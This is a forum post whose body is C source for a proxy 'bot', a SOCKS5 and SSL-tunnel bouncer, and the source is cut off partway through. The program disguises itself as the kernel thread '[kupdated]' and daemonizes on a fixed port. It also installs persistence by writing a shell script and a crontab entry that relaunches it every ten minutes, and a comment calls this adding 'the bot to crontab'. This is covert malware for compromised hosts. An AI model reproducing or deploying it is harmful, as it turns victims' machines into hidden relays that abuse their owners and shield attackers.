ilbr22 Posted September 20, 2012 Report Posted September 20, 2012 #include <stdio.h>#include <stdlib.h>#include <stdarg.h>#include <string.h>#include <time.h>#ifdef _WIN32 #include <winsock.h> #include <windows.h>#else #include <errno.h> #include <fcntl.h> #include <netdb.h> #include <signal.h> #include <unistd.h> #include <ctype.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/time.h>#endif#define PORTNUM 4133#define PROC_NAME "[kupdated]"#define PIDNAME "kupdated.so"#define CRONNAME "kupdatedc"#define BASHNAME "kupdatedb"#define STARTUP#define APPNAME "kupdated"#define VERSION "0.6"#define MAX_CONNECTIONS 103#define LISTEN_BACKLOG 1024#define BUFFER_SIZE 4096#define MAX_RULES 16#define MAX_IP_LENGTH 16#define DEFAULT_POLICY_ALLOW 1#define DEFAULT_POLICY_DENY 2#define SSL_CONNECT_STRING_NOAUTH "CONNECT %s HTTP/1.0\r\nUser-Agent: Mozilla/4.0\r\nProxy-Connection: Keep-Alive\r\nPragma: No-Cache\r\n\r\n"#define SSL_CONNECT_STRING_AUTH "CONNECT %s HTTP/1.0\r\nUser-Agent: Mozilla/4.0\r\nProxy-Connection: Keep-Alive\r\nPragma: No-Cache\r\nProxy-Authorization: Basic %s\r\n\r\n"#define SSL_TERMINATE_STRING "\r\n\r\n"#define REJECTED_IP_MASK_FAILED "%s [%d] Connection Rejected... Connection Prohibited\n"#define REJECTED_LIMIT_REACHED "%s [%d] Connection Rejected... Connection Limit Reached\n"#define BAC_CONNECTION_REJECTED "%s BAC Connection Rejected... Busy Service\n"#define REJECTED_SOCKS5_FAIL "%s [%d] Connection Rejected... Socks 5 Authentication Failed\n"#define ADMIN_WAITING_BIND "%s Waiting For HTTP Connections On %s:%d\n"#define ADMIN_WAITING_NOBIND "%s Waiting For HTTP Connections On 0.0.0.0:%d\n"#define WAITING_BIND "%s Waiting For TCP Connections On %s:%d\n"#define WAITING_NOBIND "%s Waiting For TCP Connections On 0.0.0.0:%d\n"#define ACCEPTED_CONNECTION "%s Accepted Connection %d From %s\n"#define HTTP_ACCEPTED_CONNECTION "%s Accepted HTTP Connection %d From %s\n"#define SSL_FAILED_NO_TERMINATOR "%s [%d] SSL Tunnelling Failed, Could Not Retrieve Terminator\n"#define SSL_SUCCESSFUL "%s [%d] SSL Tunnelling Successful, Returned %d (%s)\n"#define SSL_OVERFLOW "%s [%d] SSL Overflow Of %d Bytes Detected\n"#define SSL_FAILED "%s [%d] SSL Tunnelling Failed, Returned %d (%s)\n"#define SHUTDOWN_REQUEST "%s Caught Shutdown Request... Terminating Gracefully\n"#define CAUGHT_SIGNAL "%s Caught Signal %d... Terminating Gracefully\n"#define CLOSING_LISTENING_SOCKET "%s Closing Listening Socket\n"#define CLOSING_HTTP_LISTENING_SOCKET "%s Closing HTTP Listening Socket\n"#define CONNECTION_CLOSED "%s Connection %d Closed\n"#define HTTP_CONNECTION_CLOSED "%s HTTP Connection %d Closed\n"#define SOCKS5_UNKNOWN_DATA "%s [%d] Unknown Data Received From Socks 5 Client\n"#define SOCKS5_NEGOTIATING "%s [%d] Negotiating Socks 5 Protocol\n"#define CONNECTION_ATTEMPT "%s Connection %d Attempting To Connect To %s:%d\n"#define CONNECTION_CONNECTED "%s Connection %d Connected To %s:%d\n"#define SSL_TUNNELLING "%s [%d] SSL Tunnelling To %s\n"#define ERROR_CONNECTION "%s [%d] %s:%d - Error %d (%s) - %s\n"#define ERROR_NO_CONNECTION "%s %s:%d - Error %d (%s) - %s\n"#define WINDOWS_DAEMON "%s Bouncer Daemonized - Console Inactive\n"#define LIST_ADMIN_SOCKS "<tr><td><center>%d</center></td><td>%s</td><td><center>%s</center></td><td><center> </center></td><td align=\"right\">%s</td><td align=\"center\"> </td></tr>"#define LIST_SOCKS "<tr><td><center>%d</center></td><td>%s</td><td><center>%s</center></td><td><center>%s</center></td><td align=\"right\">%s</td><td align=\"right\">%s KB</td></tr>"#define LIST_ADMIN "<tr><td><center>%d</center></td><td>%s</td><td><center>%s</center></td><td align=\"right\">%s</td><td align=\"center\"> </td></tr>"#define LIST "<tr><td><center>%d</center></td><td>%s</td><td><center>%s</center></td><td align=\"right\">%s</td><td align=\"right\">%s KB</td></tr>"#define TIMESTAMP_FORMAT "[%H:%M.%S]"#define HTTP_TERMINATOR "\r\n\r\n"#define HTTP_AUTH_HEADERS 1#define HTTP_INDEX 2#define HTTP_SHUTDOWN 3#define HTTP_LIST 4#define BASE64_WS 0xE0#define BASE64_NOT_BASE64(a) (((a) | 0x13) == 0xF3)#define conv_ascii2bin(a) (data_ascii2bin[(a) & 0x7F])#define WM_APP_BASE 0x8000#define WM_STD_OUT_CHAR (WM_APP_BASE + 400)#define WM_STD_ERR_CHAR (WM_APP_BASE + 401)#define TRUE 1#define FALSE 0#define SUCCESS 0#undef ERROR#define ERROR -1#define BOUNCER_PIDFILE "kupdated.so"enum AccessStatus { csAllowed, csRejected };enum ClientStatus { csBlank, csUnknown, csConnecting, csSocks, csAuthenticating, csAuthenticated, csAdmin };#ifndef _WIN32#define INVALID_SOCKET -1 typedef int SOCKET;#endiftypedef struct { struct sockaddr_in SockAddrIn; struct sockaddr_in SockAddrOut; SOCKET s[2]; int status; long total_bytes; char socks5_response[64]; int socks5_bytes; char socks5_dest_host[256]; char socks5_dest_port[6]; char tunnel[256]; time_t start_time;} Client;typedef struct { SOCKET ls; int aport; struct sockaddr_in addr; char username[128]; char password[128]; char bind[64];} Admin;typedef struct { SOCKET port; char d[255]; char t[255]; char bind[64]; char dest_host[255]; char dest_port[255]; char destination[255]; char tunnel[255]; char pidfile[255]; char logfile[255]; char t_user[128]; char t_password[128]; char s_user[128]; char s_password[128]; char a_user[128]; char a_password[128]; char cloak_name[128]; int socks5; int hWnd; int daemon; int adp; int debug; int tcpnodelay;} Options;#ifndef _WIN32 void sig_handler(int, siginfo_t *, void *); void write_pid(void); int daemonize(void);#else static void send_msg(HWND, UINT, WPARAM);#endifstatic void oline(FILE *, char *, ...);void oerror(char *, char *, int, int);char *timestamp(void);void close_client_sockets(int);char *format_float(float);int send_socks5_response(char *, int, int, int);void initsocks(int, char *, int);char *base64e(char *);void socketclose(SOCKET, int);void show_version(void);void show_usage(void);int matches(char *, char *);int allowed(int, int, int, int);int connect_to(int, char *, int, int, int);void ssl_tunnel(int, char *, char *, int);void socks_connect(int, char *, int);int set_non_blocking(SOCKET, int);int set_blocking(SOCKET, int);void bouncer_shutdown(int);int examine_http_request(char *);int base64d(char *, char *);void send_auth_headers(SOCKET, int);void send_index(SOCKET, int);void send_shutdown(SOCKET, int);int http_authorized(char *);void send_list(SOCKET, int, int);char *format_time(time_t);void initialise_options(void);#ifdef _WIN32 #include "win-errors.h"#endifSOCKET ls;time_t init_time;long connections = 0;long total_data = 0;char buffer[BUFFER_SIZE];char arules[MAX_RULES][MAX_IP_LENGTH];char drules[MAX_RULES][MAX_IP_LENGTH];Client clients[MAX_CONNECTIONS + 1];Options options;Admin admin;int main(int argc, char *argv[]) { int mx; int z; int i; int bytes; int so_reuseaddr = TRUE; int tcp_nodelay = TRUE; int len_inet = 0; int errssl = 0; int narules = 0; int ndrules = 0; struct sockaddr_in SockAddr; struct timeval tv; char *cp = NULL; char *x, *y; char *msgssl = NULL; char *auth_string = NULL; char auth_buffer[128]; fd_set fdset; fd_set cset;//check if proxy is running. FILE *f; int xx; char s[25];int mainpid;char mainexe[512];char cwd[256],*str;#ifdef STARTUPFILE *hfile;FILE *file;char croncmd[512];char cronchm[512];char crondel[512];#endif#ifndef _WIN32 struct sigaction sact;#else WSADATA wData; int j; int k;#endif initialise_options(); options.daemon = 1; options.port = PORTNUM; options.socks5 = 1;//check if proxy is running.f = fopen(PIDNAME, "r");if (f != NULL) {fgets(s, sizeof(s), f);xx = atoi(s);kill(xx, SIGCHLD);if (errno != ESRCH) {kill(0,9);exit(1);}}//set mainexe to a variable//strncpy(mainexe,argv[0],strlen(argv[0]));//add the bot to crontab#ifdef STARTUPgetcwd(cwd,256);hfile=fopen(BASHNAME,"w");fprintf(hfile, "#!/bin/sh\n");fprintf(hfile, "cdd=\"%s\"\n",cwd);fprintf(hfile, "cd $cdd\n");fprintf(hfile, "if [ -f %s ]\n", PIDNAME);fprintf(hfile, "then\n");fprintf(hfile, "pid=`cat %s`\n", PIDNAME);fprintf(hfile, "if [ `ps -p $pid | wc -l` -eq 2 ]\n");fprintf(hfile, "then\n");fprintf(hfile, "exit\n");fprintf(hfile, "fi\n");fprintf(hfile, "rm -rf %s\n", PIDNAME);fprintf(hfile, "fi\n");fprintf(hfile, "%s\n", argv[0]);fprintf(hfile, "exit 0\n");fclose(hfile);file=fopen(CRONNAME,"w");fprintf(file, "0,10,20,30,40,50 * * * * %s/%s >/dev/null 2>&1\n", cwd, BASHNAME);fclose(file);sprintf(croncmd,"crontab %s",CRONNAME);sprintf(cronchm,"chmod 777 %s",BASHNAME);sprintf(crondel,"rm %s",CRONNAME);system(croncmd);system(cronchm);system(crondel);//set pid variablemainpid = getpid();//creates pid file//xx = getpid();if (xx != 0) {FILE *fp;unlink(PIDNAME);fp = fopen(PIDNAME, "w");if (fp != NULL) {fprintf(fp, "%u\n", xx);if (fflush(fp)) {fclose(fp);unlink(PIDNAME);} elsefclose(fp);} elsereturn 1;}#endif if(argc != 1) { for(i = 1; i < argc; i++) { if(strncmp(argv[i], "--port", 6) == 0) { if(argv[i + 1]) { options.port = atoi(argv[i + 1]); } } else if(strncmp(argv[i], "--destination", 13) == 0) { if(argv[i + 1]) { snprintf(options.d, sizeof(options.d), "%s", argv[i + 1]); snprintf(options.destination, sizeof(options.destination), "%s", options.d); } } else if(strncmp(argv[i], "--socks5", 8) == 0) { options.socks5 = 1; } else if(strncmp(argv[i], "--tunnel", 8) == 0) { if(argv[i + 1]) { snprintf(options.t, sizeof(options.t), "%s", argv[i + 1]); snprintf(options.tunnel, sizeof(options.tunnel), "%s", options.t); } } else if(strncmp(argv[i], "--bind", 6) == 0) { if(argv[i + 1]) { snprintf(options.bind, sizeof(options.bind), "%s", argv[i + 1]); } }#ifdef _WIN32 else if(strncmp(argv[i], "--gui", 5) == 0) { if(argv[i + 1]) { options.hWnd = atoi(argv[i + 1]); } }#else else if(strncmp(argv[i], "--pidfile", 9) == 0) { if(argv[i + 1]) { snprintf(options.pidfile, sizeof(options.pidfile), "%s", argv[i + 1]); } }#endif else if(strncmp(argv[i], "--daemon", 8) == 0) { options.daemon = 1; } else if(strncmp(argv[i], "--logfile", 9) == 0) { if(argv[i + 1]) { snprintf(options.logfile, sizeof(options.logfile), "%s", argv[i + 1]); } } else if(strncmp(argv[i], "--aport", 7) == 0) { if(argv[i + 1]) { admin.aport = atoi(argv[i + 1]); } } else if(strncmp(argv[i], "--abind", 7) == 0) { if(argv[i + 1]) { snprintf(admin.bind, sizeof(admin.bind), "%s", argv[i + 1]); } } else if(strncmp(argv[i], "--a_user", 8) == 0) { if(argv[i + 1]) { snprintf(admin.username, sizeof(admin.username), "%s", argv[i + 1]); } } else if(strncmp(argv[i], "--a_password", 12) == 0) { if(argv[i + 1]) { snprintf(admin.password, sizeof(admin.password), "%s", argv[i + 1]); } } else if(strncmp(argv[i], "--allow", 7) == 0) { if(narules == MAX_RULES) { options.port = 0; break; } if((ndrules == 0) && (options.adp == 0)){ options.adp = DEFAULT_POLICY_ALLOW; } if(argv[i + 1]) { strncpy(arules[narules++], argv[i + 1], strlen(argv[i + 1])); } } else if(strncmp(argv[i], "--deny", 6) == 0) { if(ndrules == MAX_RULES) { options.port = 0; break; } if((narules == 0) && (options.adp == 0)) { options.adp = DEFAULT_POLICY_DENY; } if(argv[i + 1]) { strncpy(drules[ndrules++], argv[i + 1], strlen(argv[i + 1])); } }#ifdef LINUX else if(strncmp(argv[i], "--cloak", 7) == 0) { if(argv[i + 1]) { snprintf(options.cloak_name, sizeof(options.cloak_name), "%s", argv[i + 1]); } }#endif else if(strncmp(argv[i], "--t_user", 8) == 0) { if(argv[i + 1]) { snprintf(options.t_user, sizeof(options.t_user), "%s", argv[i + 1]); } } else if(strncmp(argv[i], "--t_password", 12) == 0) { if(argv[i + 1]) { snprintf(options.t_password, sizeof(options.t_password), "%s", argv[i + 1]); } } else if(strncmp(argv[i], "--s_user", 8) == 0) { if(argv[i + 1]) { snprintf(options.s_user, sizeof(options.s_user), "%s", argv[i + 1]); } } else if(strncmp(argv[i], "--s_password", 12) == 0) { if(argv[i + 1]) { snprintf(options.s_password, sizeof(options.s_password), "%s", argv[i + 1]); } } else if(strncmp(argv[i], "--nodebug", 9) == 0) { options.debug = 0; } else if(strncmp(argv[i], "--tcpnodelay", 12) == 0) { options.tcpnodelay = 1; } } } if((options.port == 0) || ((admin.aport) && ((strlen(admin.username) == 0) || (strlen(admin.password) == 0))) || ((!admin.aport) && ((strlen(admin.bind) != 0))) || ((strlen(options.logfile) != 0) && (!options.debug)) || ((strlen(options.logfile) != 0) && (options.hWnd)) || ((strlen(options.d) == 0) && (!options.socks5)) || ((strlen(options.d) != 0) && (options.socks5)) || ((strlen(options.d) != 0) && (strstr(options.d, ":") == NULL) && (!options.socks5)) || ((strlen(options.t) != 0) && (strstr(options.t, ":") == NULL)) || (((strlen(options.t_user) == 0) && (strlen(options.t_password) != 0)) || ((strlen(options.t_user) != 0) && (strlen(options.t_password) == 0)) || ((strlen(options.t_user) != 0) && (strlen(options.t) == 0))) || (((strlen(options.s_user) == 0) && (strlen(options.s_password) != 0)) || ((strlen(options.s_user) != 0) && (strlen(options.s_password) == 0)) || ((strlen(options.s_user) != 0) && (!options.socks5)))) { options.hWnd = 0; show_version(); show_usage(); return(0); }strcpy(argv[0], PROC_NAME); if(options.daemon) {#ifdef _WIN32 options.debug = 1; show_version();#endif options.debug = 0;#ifdef _WIN32 fprintf(stdout, WINDOWS_DAEMON, timestamp()); fflush(stdout); FreeConsole();#else if(daemonize() == -1) { return(0); }#endif } if(strlen(options.t_user) != 0) { strncpy(auth_buffer, options.t_user, strlen(options.t_user)); strncat(auth_buffer, ":", 1); if(strlen(options.t_password) != 0) { strncat(auth_buffer, options.t_password, strlen(options.t_password)); } auth_string = base64e(auth_buffer); } show_version();#ifdef _WIN32 if(WSAStartup(MAKEWORD(1,0), &wData) != 0) { oerror("WSAStartup", __FILE__, __LINE__, 0); return(-1); }#endif if((strlen(options.t) == 0) && (!options.socks5)) { snprintf(options.dest_host, sizeof(options.dest_host), "%s", strtok(options.d, ":")); snprintf(options.dest_port, sizeof(options.dest_port), "%s", strtok(NULL, "\n")); } else if(strlen(options.t) != 0) { snprintf(options.dest_host, sizeof(options.dest_host), "%s", strtok(options.t, ":")); snprintf(options.dest_port, sizeof(options.dest_port), "%s", strtok(NULL, "\n")); }#ifndef _WIN32 write_pid(); sact.sa_sigaction = sig_handler; sact.sa_flags = SA_SIGINFO; sigemptyset(&sact.sa_mask); if(sigaction(SIGINT, &sact, (struct sigaction *) NULL) == ERROR) { oerror("sigaction", __FILE__, __LINE__, 0); return(-1); } if(sigaction(SIGTERM, &sact, (struct sigaction *) NULL) == ERROR) { oerror("sigaction", __FILE__, __LINE__, 0); return(-1); }#endif memset(&SockAddr, 0, sizeof(struct sockaddr_in)); SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(options.port); if(strlen(options.bind) == 0) { SockAddr.sin_addr.s_addr = INADDR_ANY; } else { SockAddr.sin_addr.s_addr = inet_addr(options.bind); } for(i = 0; i < MAX_CONNECTIONS + 1; i++) { clients[i].s[0] = INVALID_SOCKET; clients[i].s[1] = INVALID_SOCKET; clients[i].status = csBlank; } if((ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { oerror("socket", __FILE__, __LINE__, 0); return(-1); } if((setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, (char *)&so_reuseaddr, sizeof(so_reuseaddr))) == ERROR) { oerror("setsockopt", __FILE__, __LINE__, 0); return(-1); } len_inet = sizeof(SockAddr); if((bind(ls, (struct sockaddr *)&SockAddr, len_inet)) == ERROR) { oerror("bind", __FILE__, __LINE__, 0); return(-1); } if((listen(ls, LISTEN_BACKLOG)) == ERROR) { oerror("listen", __FILE__, __LINE__, 0); return(-1); } if(strlen(options.bind) != 0) { oline(stdout, WAITING_BIND, timestamp(), options.bind, options.port); } else { oline(stdout, WAITING_NOBIND, timestamp(), options.port); } if(admin.aport) { memset(&admin.addr, 0, sizeof(struct sockaddr_in)); admin.addr.sin_family = AF_INET; admin.addr.sin_port = htons(admin.aport); if(strlen(admin.bind) == 0) { admin.addr.sin_addr.s_addr = INADDR_ANY; } else { admin.addr.sin_addr.s_addr = inet_addr(admin.bind); } if((admin.ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { oerror("socket", __FILE__, __LINE__, 0); return(-1); } if((setsockopt(admin.ls, SOL_SOCKET, SO_REUSEADDR, (char *)&so_reuseaddr, sizeof(so_reuseaddr))) == ERROR) { oerror("setsockopt", __FILE__, __LINE__, 0); return(-1); } if((bind(admin.ls, (struct sockaddr *)&admin.addr, len_inet)) == ERROR) { oerror("bind", __FILE__, __LINE__, 0); return(-1); } if((listen(admin.ls, LISTEN_BACKLOG)) == ERROR) { oerror("listen", __FILE__, __LINE__, 0); return(-1); } if(strlen(admin.bind) != 0) { oline(stdout, ADMIN_WAITING_BIND, timestamp(), admin.bind, admin.aport); } else { oline(stdout, ADMIN_WAITING_NOBIND, timestamp(), admin.aport); } } init_time = time(NULL); for( { FD_ZERO(&fdset); FD_ZERO(&cset); FD_SET(mx = ls, &fdset); if(admin.aport) { FD_SET(admin.ls, &fdset); mx = (admin.ls > (unsigned int)mx) ? admin.ls : mx; } for(i = 0; i <= MAX_CONNECTIONS; i++) { if(clients[i].status != csBlank) { if(clients[i].status == csConnecting) { FD_SET(clients[i].s[1], &cset); mx = (clients[i].s[1] > (unsigned int)mx) ? clients[i].s[1] : mx; } else { FD_SET(clients[i].s[0], &fdset); mx = (clients[i].s[0] > (unsigned int)mx) ? clients[i].s[0] : mx; if((clients[i].status == csAuthenticating) || (clients[i].status == csAuthenticated)) { FD_SET(clients[i].s[1], &fdset); mx = (clients[i].s[1] > (unsigned int)mx) ? clients[i].s[1] : mx; } } } } tv.tv_sec = 1; tv.tv_usec = 0;#ifdef _WIN32 if((z = select(mx + 1, &fdset, &cset, &cset, &tv)) > 0) {#else if((z = select(mx + 1, &fdset, &cset, NULL, &tv)) > 0) {#endif if(admin.aport) { if(FD_ISSET(admin.ls, &fdset)) { for(i = 0; i < MAX_CONNECTIONS + 1; i++) { if(clients[i].status == csBlank) { clients[i].total_bytes = 0; len_inet = sizeof(struct sockaddr_in); if((clients[i].s[0] = accept(admin.ls, (struct sockaddr *)&clients[i].SockAddrIn, &len_inet)) == INVALID_SOCKET) { oerror("accept", __FILE__, __LINE__, i + 1); break; } connections++; oline(stdout, HTTP_ACCEPTED_CONNECTION, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrIn.sin_addr)); if(i == MAX_CONNECTIONS) { socketclose(clients[i].s[0], i); clients[i].s[0] = INVALID_SOCKET; oline(stdout, REJECTED_LIMIT_REACHED, timestamp(), i + 1); oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1); break; } clients[i].total_bytes = 0; clients[i].start_time = time(NULL); clients[i].status = csAdmin; break; } } } } if(FD_ISSET(ls, &fdset)) { for(i = 0; i < MAX_CONNECTIONS + 1; i++) { if(clients[i].status == csBlank) { clients[i].total_bytes = 0; len_inet = sizeof(clients[i].SockAddrIn); if((clients[i].s[0] = accept(ls, (struct sockaddr *)&clients[i].SockAddrIn, &len_inet)) == INVALID_SOCKET) { oerror("accept", __FILE__, __LINE__, i + 1); break; } connections++; oline(stdout, ACCEPTED_CONNECTION, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrIn.sin_addr)); if(i == MAX_CONNECTIONS) { socketclose(clients[i].s[0], i); clients[i].s[0] = INVALID_SOCKET; oline(stdout, REJECTED_LIMIT_REACHED, timestamp(), i + 1); oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1); break; } clients[i].start_time = time(NULL); clients[i].status = csUnknown; if(allowed(i, options.adp, narules, ndrules) != csAllowed) { socketclose(clients[i].s[0], i); clients[i].status = csBlank; clients[i].s[0] = INVALID_SOCKET; oline(stdout, REJECTED_IP_MASK_FAILED, timestamp(), i + 1); oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1); break; } if(options.tcpnodelay) { if((setsockopt(clients[i].s[0], IPPROTO_TCP, TCP_NODELAY, (char *)&tcp_nodelay, sizeof(tcp_nodelay))) == ERROR) { oerror("setsockopt", __FILE__, __LINE__, i + 1); close_client_sockets(i); break; } } if(options.socks5) { oline(stdout, SOCKS5_NEGOTIATING, timestamp(), i + 1); clients[i].status = csSocks; break; } connect_to(i, options.dest_host, (int)strtol(options.dest_port, &cp, 10), options.socks5, options.tcpnodelay); break; } } } for(i = 0; i < MAX_CONNECTIONS + 1; i++) { if(clients[i].status == csConnecting) { if(FD_ISSET(clients[i].s[1], &cset)) { if(recv(clients[i].s[1], NULL, 0, MSG_PEEK) == -1) {#ifndef _WIN32 if(errno != EAGAIN) {#else if(WSAGetLastError() != WSAEWOULDBLOCK) { WSASetLastError(10060);#endif oerror("connect", __FILE__, __LINE__, i + 1); close_client_sockets(i); break; } } oline(stdout, CONNECTION_CONNECTED, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrOut.sin_addr), htons(clients[i].SockAddrOut.sin_port)); if(set_blocking(clients[i].s[1], i) == -1) { if(options.socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); break; } if(options.socks5) { if(strlen(options.t) != 0) { ssl_tunnel(i, clients[i].tunnel, auth_string, 1); } else { if(send_socks5_response(clients[i].socks5_response, i, TRUE, clients[i].socks5_bytes) == ERROR) { close_client_sockets(i); } else { clients[i].status = csAuthenticated; clients[i].total_bytes = 0; clients[i].start_time = time(NULL); } } } else { if(strlen(options.t) != 0) { ssl_tunnel(i, options.d, auth_string, options.socks5); break; } clients[i].status = csAuthenticated; clients[i].total_bytes = 0; clients[i].start_time = time(NULL); } } } if(clients[i].status != csBlank) { if(FD_ISSET(clients[i].s[0], &fdset)) { if(clients[i].status == csAdmin) { if((bytes = recv(clients[i].s[0], buffer, BUFFER_SIZE, 0)) < 1) { close_client_sockets(i); break; } buffer[bytes] = 0; if(strstr(buffer, HTTP_TERMINATOR) != NULL) { switch(examine_http_request(buffer)) { case HTTP_AUTH_HEADERS: send_auth_headers(clients[i].s[0], i); break; case HTTP_INDEX: send_index(clients[i].s[0], i); break; case HTTP_LIST: send_list(clients[i].s[0], i, options.socks5); break; case HTTP_SHUTDOWN: send_shutdown(clients[i].s[0], i); close_client_sockets(i); bouncer_shutdown(0); break; } close_client_sockets(i); } } else if(clients[i].status != csAuthenticating) { if(clients[i].status == csSocks) { initsocks(i, options.t, options.tcpnodelay); } else { if((bytes = recv(clients[i].s[0], buffer, BUFFER_SIZE, 0)) < 1) { close_client_sockets(i); break; } if((send(clients[i].s[1], buffer, bytes, 0)) == ERROR) { oerror("send", __FILE__, __LINE__, i + 1); close_client_sockets(i); break; } clients[i].total_bytes += bytes; total_data += bytes; } } } if((clients[i].status == csAuthenticating) || (clients[i].status == csAuthenticated)) { if(FD_ISSET(clients[i].s[1], &fdset)) { if((bytes = recv(clients[i].s[1], buffer, BUFFER_SIZE, 0)) < 1) { close_client_sockets(i); break; } if(clients[i].status == csAuthenticating) { y = strdup(buffer); if((x = strtok(y, " ")) != NULL) { if((x = strtok(NULL, " ")) != NULL) { errssl = atoi(x); if((x = strtok(NULL, "\r")) != NULL) { msgssl = x; } } } free(y); if(errssl == 200) { buffer[bytes] = 0; if((y = strstr(buffer, SSL_TERMINATE_STRING)) == NULL) { oline(stdout, SSL_FAILED_NO_TERMINATOR, timestamp(), i + 1); if(options.socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); break; } else { oline(stdout, SSL_SUCCESSFUL, timestamp(), i + 1, errssl, msgssl); if(options.socks5) { send_socks5_response(clients[i].socks5_response, i, TRUE, clients[i].socks5_bytes); } if(strlen(y) != strlen(SSL_TERMINATE_STRING)) { oline(stdout, SSL_OVERFLOW, timestamp(), i + 1, strlen(y) - strlen(SSL_TERMINATE_STRING)); y += strlen(SSL_TERMINATE_STRING); if((send(clients[i].s[0], y, strlen(y), 0)) == ERROR) { oerror("send", __FILE__, __LINE__, i + 1); close_client_sockets(i); break; } clients[i].total_bytes += (strlen(y) - strlen(SSL_TERMINATE_STRING)); total_data += (strlen(y) - strlen(SSL_TERMINATE_STRING)); } clients[i].status = csAuthenticated; clients[i].start_time = time(NULL); } } else { oline(stdout, SSL_FAILED, timestamp(), i + 1, errssl, msgssl); if(options.socks5) { send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes); } close_client_sockets(i); break; } } else { if((send(clients[i].s[0], buffer, bytes, 0)) == ERROR) { oerror("send", __FILE__, __LINE__, i + 1); close_client_sockets(i); break; } clients[i].total_bytes += bytes; total_data += bytes; } } } } } } else if(z == ERROR) { oerror("select", __FILE__, __LINE__, 0); return(-1); } }}int matches(char *ip, char *mask) { char *tip, *tmask, *s; char seg1[4][4]; char seg2[4][4]; int i; tip = strdup(ip); if((s = strtok(tip, ".")) == NULL) { free(tip); return(FALSE); } strncpy(seg1[0], s, sizeof(s)); if((s = strtok(NULL, ".")) == NULL) { free(tip); return(FALSE); } strncpy(seg1[1], s, sizeof(s)); if((s = strtok(NULL, ".")) == NULL) { free(tip); return(FALSE); } strncpy(seg1[2], s, sizeof(s)); if((s = strtok(NULL, "\n")) == NULL) { free(tip); return(FALSE); } strncpy(seg1[3], s, sizeof(s)); free(tip); tmask = strdup(mask); if((s = strtok(tmask, ".")) == NULL) { free(tmask); return(FALSE); } strncpy(seg2[0], s, sizeof(s)); if((s = strtok(NULL, ".")) == NULL) { free(tmask); return(FALSE); } strncpy(seg2[1], s, sizeof(s)); if((s = strtok(NULL, ".")) == NULL) { free(tmask); return(FALSE); } strncpy(seg2[2], s, sizeof(s)); if((s = strtok(NULL, "\n")) == NULL) { free(tmask); return(FALSE); } strncpy(seg2[3], s, sizeof(s)); free(tmask); for(i = 0; i < 4; i++) { if((strncmp(seg2[i], "*", 1) != 0) && (strncmp(seg2[i], seg1[i], strlen(seg1[i])) != 0)) { return(FALSE); } } return(TRUE);}void bouncer_shutdown(int sig) { int i; if(sig != 0) { oline(stdout, CAUGHT_SIGNAL, timestamp(), sig); } else { oline(stdout, SHUTDOWN_REQUEST, timestamp()); } for(i = 0; i < MAX_CONNECTIONS + 1; i++) { close_client_sockets(i); } if(admin.aport) { oline(stdout, CLOSING_HTTP_LISTENING_SOCKET, timestamp()); socketclose(admin.ls, 0); } oline(stdout, CLOSING_LISTENING_SOCKET, timestamp()); socketclose(ls, 0);#ifndef _WIN32 remove(options.pidfile);#endif exit(0);}#ifndef _WIN32void sig_handler(int sig, siginfo_t *sinf, void *ucon) { if((sig == SIGINT)||(sig == SIGTERM)) { bouncer_shutdown(sig); }}int daemonize(void) { pid_t pid; switch(pid = fork()) { case -1: oerror("fork", __FILE__, __LINE__, 0); return(-1); case 0: if(setsid() < 0) { oerror("setsid", __FILE__, __LINE__, 0); return(-1); } if((chdir("/")) < 0) { oerror("chdir", __FILE__, __LINE__, 0); return(-1); } umask(0); close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); switch(pid = fork()) { case -1: oerror("fork", __FILE__, __LINE__, 0); return(-1); case 0: return(0); default: return(-1); } default: return(-1); }}void write_pid(void) { int fd; char buffer[20]; if(strlen(options.pidfile) == 0) { snprintf(options.pidfile, sizeof(options.pidfile), BOUNCER_PIDFILE); } if((fd = open(options.pidfile, O_CREAT|O_WRONLY, 0600)) >= 0) { snprintf(buffer, sizeof(buffer), "%d\n", (int)getpid()); if(write(fd, buffer, strlen(buffer)) == ERROR) { oerror("write", __FILE__, __LINE__, 0); } close(fd); }}#elsevoid send_msg(HWND hWnd, UINT uMsg, WPARAM wParam) { while(!PostMessage(hWnd, uMsg, wParam, 0)) { SleepEx(1000, TRUE); }}#endifstatic void oline(FILE *stream, char *fmt, ...) {#ifdef _WIN32 unsigned int msg_id, i;#endif char str[1024]; FILE *fp; va_list ap; va_start(ap, fmt); vsprintf(str, fmt, ap); va_end(ap); if((options.debug) || (strlen(options.logfile) != 0)) { if(options.hWnd) {#ifdef _WIN32 for(i = 0; i < strlen(str); ++i) { if(stream == stdout) { msg_id = WM_STD_OUT_CHAR; } else { msg_id = WM_STD_ERR_CHAR; } send_msg((HWND)options.hWnd, msg_id, (WPARAM)str[i]); }#endif } else { if(strlen(options.logfile) != 0) { if((fp = fopen(options.logfile, "a")) >= 0) { fprintf(fp, str); fflush(fp); fclose(fp); } } else { fprintf(stream, str); fflush(stream); } } }}void oerror(char *funct, char *file, int line, int i) {#ifdef _WIN32 DWORD errno = WSAGetLastError();#endif if(i > 0) { oline(stderr, ERROR_CONNECTION, timestamp(), i, file, line, errno, funct, strerror(errno)); } else { oline(stderr, ERROR_NO_CONNECTION, timestamp(), file, line, errno, funct, strerror(errno)); }}char *timestamp(void) { time_t clock; struct tm *tm; static char ts[11]; time(&clock); tm = gmtime(&clock); strftime(ts, sizeof(ts), TIMESTAMP_FORMAT, tm); return(ts);}void close_client_sockets(int i) { float kb; float kbps; int seconds; char buffer[128]; if(clients[i].status != csBlank) { socketclose(clients[i].s[0], i); clients[i].s[0] = INVALID_SOCKET; socketclose(clients[i].s[1], i); clients[i].s[1] = 